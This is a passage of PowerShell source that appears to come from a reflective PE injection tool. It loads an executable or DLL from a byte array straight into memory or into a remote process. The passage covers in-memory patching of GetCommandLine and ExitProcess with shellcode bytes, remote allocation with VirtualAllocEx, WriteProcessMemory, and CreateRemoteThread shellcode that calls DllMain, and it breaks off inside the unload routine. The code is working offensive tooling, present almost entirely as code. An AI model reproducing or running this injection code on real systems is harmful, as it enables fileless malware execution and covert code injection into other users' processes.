			[IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress)

			[UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics
			[UInt32]$SectionSize = $SectionHeader.VirtualSize

			[UInt32]$OldProtectFlag = 0
			Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null
			$Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag)
			if ($Success -eq $false)
			{
				Throw "Unable to change memory protection"
			}
		}
	}



	Function Update-ExeFunctions
	{
		Param(
		[Parameter(Position = 0, Mandatory = $true)]
		[System.Object]
		$PEInfo,

		[Parameter(Position = 1, Mandatory = $true)]
		[System.Object]
		$Win32Functions,

		[Parameter(Position = 2, Mandatory = $true)]
		[System.Object]
		$Win32Constants,

		[Parameter(Position = 3, Mandatory = $true)]
		[String]
		$ExeArguments,

		[Parameter(Position = 4, Mandatory = $true)]
		[IntPtr]
		$ExeDoneBytePtr
		)


		$ReturnArray = @()

		$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
		[UInt32]$OldProtectFlag = 0

		[IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll")
		if ($Kernel32Handle -eq [IntPtr]::Zero)
		{
			throw "Kernel32 handle null"
		}

		[IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll")
		if ($KernelBaseHandle -eq [IntPtr]::Zero)
		{
			throw "KernelBase handle null"
		}




		$CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)
		$CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)

		[IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA")
		[IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW")

		if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero)
		{
			throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)"
		}


		[Byte[]]$Shellcode1 = @()
		if ($PtrSize -eq 8)
		{
			$Shellcode1 += 0x48
		}
		$Shellcode1 += 0xb8

		[Byte[]]$Shellcode2 = @(0xc3)
		$TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length



		$GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
		$GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
		$Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null
		$Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null
		$ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize)
		$ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize)


		[UInt32]$OldProtectFlag = 0
		$Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
		if ($Success = $false)
		{
			throw "Call to VirtualProtect failed"
		}

		$GetCommandLineAAddrTemp = $GetCommandLineAAddr
		Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp
		$GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length)
		[System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false)
		$GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize
		Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp

		$Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null



		[UInt32]$OldProtectFlag = 0
		$Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
		if ($Success = $false)
		{
			throw "Call to VirtualProtect failed"
		}

		$GetCommandLineWAddrTemp = $GetCommandLineWAddr
		Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp
		$GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length)
		[System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false)
		$GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize
		Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp

		$Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null








		$DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" `
			, "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll")

		foreach ($Dll in $DllList)
		{
			[IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll)
			if ($DllHandle -ne [IntPtr]::Zero)
			{
				[IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln")
				[IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln")
				if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero)
				{
					"Error, couldn't find _wcmdln or _acmdln"
				}

				$NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments)
				$NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments)


				$OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr])
				$OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr])
				$OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
				$OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
				[System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false)
				[System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false)
				$ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize)
				$ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize)

				$Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
				if ($Success = $false)
				{
					throw "Call to VirtualProtect failed"
				}
				[System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false)
				$Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null

				$Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag)
				if ($Success = $false)
				{
					throw "Call to VirtualProtect failed"
				}
				[System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false)
				$Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null
			}
		}






		$ReturnArray = @()
		$ExitFunctions = @()


		[IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll")
		if ($MscoreeHandle -eq [IntPtr]::Zero)
		{
			throw "mscoree handle null"
		}
		[IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess")
		if ($CorExitProcessAddr -eq [IntPtr]::Zero)
		{
			Throw "CorExitProcess address not found"
		}
		$ExitFunctions += $CorExitProcessAddr


		[IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess")
		if ($ExitProcessAddr -eq [IntPtr]::Zero)
		{
			Throw "ExitProcess address not found"
		}
		$ExitFunctions += $ExitProcessAddr

		[UInt32]$OldProtectFlag = 0
		foreach ($ProcExitFunctionAddr in $ExitFunctions)
		{
			$ProcExitFunctionAddrTmp = $ProcExitFunctionAddr


			[Byte[]]$Shellcode1 = @(0xbb)
			[Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb)

			if ($PtrSize -eq 8)
			{
				[Byte[]]$Shellcode1 = @(0x48, 0xbb)
				[Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb)
			}
			[Byte[]]$Shellcode3 = @(0xff, 0xd3)
			$TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length

			[IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread")
			if ($ExitThreadAddr -eq [IntPtr]::Zero)
			{
				Throw "ExitThread address not found"
			}

			$Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
			if ($Success -eq $false)
			{
				Throw "Call to VirtualProtect failed"
			}


			$ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize)
			$Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null
			$ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize)



			Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp
			$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length)
			[System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false)
			$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
			Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp
			$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length)
			[System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false)
			$ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize
			Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp

			$Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
		}


		Write-Output $ReturnArray
	}




	Function Copy-ArrayOfMemAddresses
	{
		Param(
		[Parameter(Position = 0, Mandatory = $true)]
		[Array[]]
		$CopyInfo,

		[Parameter(Position = 1, Mandatory = $true)]
		[System.Object]
		$Win32Functions,

		[Parameter(Position = 2, Mandatory = $true)]
		[System.Object]
		$Win32Constants
		)

		[UInt32]$OldProtectFlag = 0
		foreach ($Info in $CopyInfo)
		{
			$Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag)
			if ($Success -eq $false)
			{
				Throw "Call to VirtualProtect failed"
			}

			$Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null

			$Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null
		}
	}





	Function Get-MemoryProcAddress
	{
		Param(
		[Parameter(Position = 0, Mandatory = $true)]
		[IntPtr]
		$PEHandle,

		[Parameter(Position = 1, Mandatory = $true)]
		[String]
		$FunctionName
		)

		$Win32Types = Get-Win32Types
		$Win32Constants = Get-Win32Constants
		$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants


		if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0)
		{
			return [IntPtr]::Zero
		}
		$ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress)
		$ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY)

		for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++)
		{

			$NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
			$NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32]))
			$Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr)

			if ($Name -ceq $FunctionName)
			{


				$OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])))
				$FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16])
				$FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32])))
				$FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32])
				return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset)
			}
		}

		return [IntPtr]::Zero
	}


	Function Invoke-MemoryLoadLibrary
	{
		Param(
		[Parameter( Position = 0, Mandatory = $true )]
		[Byte[]]
		$PEBytes,

		[Parameter(Position = 1, Mandatory = $false)]
		[String]
		$ExeArgs,

		[Parameter(Position = 2, Mandatory = $false)]
		[IntPtr]
		$RemoteProcHandle,

        [Parameter(Position = 3)]
        [Bool]
        $ForceASLR = $false
		)

		$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])


		$Win32Constants = Get-Win32Constants
		$Win32Functions = Get-Win32Functions
		$Win32Types = Get-Win32Types

		$RemoteLoading = $false
		if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero))
		{
			$RemoteLoading = $true
		}


		Write-Verbose "Getting basic PE information from the file"
		$PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types
		$OriginalImageBase = $PEInfo.OriginalImageBase
		$NXCompatible = $true
		if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT)
		{
			Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue
			$NXCompatible = $false
		}



		$Process64Bit = $true
		if ($RemoteLoading -eq $true)
		{
			$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
			$Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process")
			if ($Result -eq [IntPtr]::Zero)
			{
				Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit"
			}

			[Bool]$Wow64Process = $false
			$Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process)
			if ($Success -eq $false)
			{
				Throw "Call to IsWow64Process failed"
			}

			if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4)))
			{
				$Process64Bit = $false
			}


			$PowerShell64Bit = $true
			if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
			{
				$PowerShell64Bit = $false
			}
			if ($PowerShell64Bit -ne $Process64Bit)
			{
				throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process"
			}
		}
		else
		{
			if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8)
			{
				$Process64Bit = $false
			}
		}
		if ($Process64Bit -ne $PEInfo.PE64Bit)
		{
			Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)"
		}



		Write-Verbose "Allocating memory for the PE and write its headers to memory"


		[IntPtr]$LoadAddr = [IntPtr]::Zero
        $PESupportsASLR = ([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE
		if ((-not $ForceASLR) -and (-not $PESupportsASLR))
		{
			Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue
			[IntPtr]$LoadAddr = $OriginalImageBase
		}
        elseif ($ForceASLR -and (-not $PESupportsASLR))
        {
            Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash."
        }

        if ($ForceASLR -and $RemoteLoading)
        {
            Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop
        }
        if ($RemoteLoading -and (-not $PESupportsASLR))
        {
            Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop
        }

		$PEHandle = [IntPtr]::Zero
		$EffectivePEHandle = [IntPtr]::Zero
		if ($RemoteLoading -eq $true)
		{

			$PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)


			$EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
			if ($EffectivePEHandle -eq [IntPtr]::Zero)
			{
				Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use"
			}
		}
		else
		{
			if ($NXCompatible -eq $true)
			{
				$PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
			}
			else
			{
				$PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
			}
			$EffectivePEHandle = $PEHandle
		}

		[IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage)
		if ($PEHandle -eq [IntPtr]::Zero)
		{
			Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)."
		}
		[System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null



		Write-Verbose "Getting detailed PE information from the headers loaded in memory"
		$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
		$PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress
		$PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle
		Write-Verbose "StartAddress: $(Get-Hex $PEHandle)    EndAddress: $(Get-Hex $PEEndAddress)"



		Write-Verbose "Copy PE sections in to memory"
		Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types



		Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory"
		Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types



		Write-Verbose "Import DLL's needed by the PE we are loading"
		if ($RemoteLoading -eq $true)
		{
			Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle
		}
		else
		{
			Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
		}



		if ($RemoteLoading -eq $false)
		{
			if ($NXCompatible -eq $true)
			{
				Write-Verbose "Update memory protection flags"
				Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types
			}
			else
			{
				Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute"
			}
		}
		else
		{
			Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions"
		}



		if ($RemoteLoading -eq $true)
		{
			[UInt32]$NumBytesWritten = 0
			$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten)
			if ($Success -eq $false)
			{
				Throw "Unable to write shellcode to remote process memory."
			}
		}



		if ($PEInfo.FileType -ieq "DLL")
		{
			if ($RemoteLoading -eq $false)
			{
				Write-Verbose "Calling dllmain so the DLL knows it has been loaded"
				$DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
				$DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
				$DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)

				$DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null
			}
			else
			{
				$DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)

				if ($PEInfo.PE64Bit -eq $true)
				{

					$CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9)
					$CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8)
					$CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
				}
				else
				{

					$CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9)
					$CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8)
					$CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3)
				}
				$SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2)
				$SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
				$SCPSMemOriginal = $SCPSMem

				Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem
				$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length)
				[System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false)
				$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
				Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem
				$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length)
				[System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false)
				$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
				Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem
				$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length)

				$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
				if ($RSCAddr -eq [IntPtr]::Zero)
				{
					Throw "Unable to allocate memory in the remote process for shellcode"
				}

				$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
				if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
				{
					Throw "Unable to write shellcode to remote process memory."
				}

				$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
				$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
				if ($Result -ne 0)
				{
					Throw "Call to CreateRemoteThread to call GetProcAddress failed."
				}

				$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
			}
		}
		elseif ($PEInfo.FileType -ieq "EXE")
		{

			[IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1)
			[System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00)
			$OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr



			[IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
			Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in."

			$Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null

			while($true)
			{
				[Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0)
				if ($ThreadDone -eq 1)
				{
					Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants
					Write-Verbose "EXE thread has completed."
					break
				}
				else
				{
					Start-Sleep -Seconds 1
				}
			}
		}

		return @($PEInfo.PEHandle, $EffectivePEHandle)
	}


	Function Invoke-MemoryFreeLibrary
	{
		Param(
		[Parameter(Position=0, Mandatory=$true)]
		[IntPtr]
		$PEHandle
		)


		$Win32Constants = Get-Win32Constants
		$Win32Functions = Get-Win32Functions
		$Win32Types = Get-Win32Types

		$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants


		if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
		{
			[IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)

			while ($true)
			{
				$ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)


				if ($ImportDescriptor.Characteristics -eq 0 `
						-and $ImportDescriptor.FirstThunk -eq 0 `
						-and $ImportDescriptor.ForwarderChain -eq 0 `
						-and $ImportDescriptor.Name -eq 0 `
						-and $ImportDescriptor.TimeDateStamp -eq 0)
				{
					Write-Verbose "Done unloading the libraries needed by the PE"
					break
				}

				$ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)))
